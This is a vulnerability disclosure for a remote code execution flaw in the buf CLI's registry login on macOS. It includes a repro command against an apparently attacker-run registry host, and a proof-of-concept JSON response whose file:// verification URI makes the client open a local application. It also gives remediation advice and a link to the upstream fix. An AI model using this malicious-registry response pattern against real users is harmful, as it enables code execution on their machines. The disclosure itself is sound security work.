RCE in buf CLI (from http://buf.build)
Overview #
A vulnerability in the buf (from https://buf.build/) CLI allows an attacker-controlled registry server to execute code on the client machine simply by attempting to log in.
Repro:
buf registry login buf.hack.do
Video link: YouTube PoC (unlisted)
Description #
This abuses the registry login flow:
https://buf.build/docs/reference/cli/buf/registry/login/
The issue starts here:
https://github.com/bufbuild/buf/blob/4d05f30e35c0fbee2c384878b55d6adac4477fb6/private/buf/cmd/buf/command/registry/registrylogin/registrylogin.go#L313
Which calls:
browser.OpenURL(deviceAuthorization.VerificationURIComplete)
This line uses:
https://github.com/pkg/browser/blob/master/browser_darwin.go
Which, on macOS, defers to the system open command:
func openBrowser(url string) error {
return runCmd("open", url)
}
The macOS open command opens a file, directory, or URL using the default handler. This means if the registry returns a path (e.g. file://...) instead of an http[s]:// URL, the client will attempt to open it.
PoC #
The PoC server is running:
https://gist.github.com/matt-/6f20d07cf714236113d6ffbbed047d57
For the PoC, the registry returns:
{
"device_code": "asdf",
"user_code": "asfd",
"expires_in": 900,
"interval": 5,
"verification_uri": "file:///System/Applications/Calculator.app",
"verification_uri_complete": "file:///System/Applications/Calculator.app"
}
This uses a path to Calculator to demonstrate code execution on macOS.
Remediation #
The pkg/browser package supports opening local files by design, but in this context the client should only open a web URL. A simple validation (e.g. require the verification URL to begin with http:// or https://) is sufficient to prevent file:// and other unexpected schemes.
The fix #
Fixed upstream:
https://github.com/bufbuild/buf/commit/6f65ecdc32e49f0f78083d3e0750a91735b135f1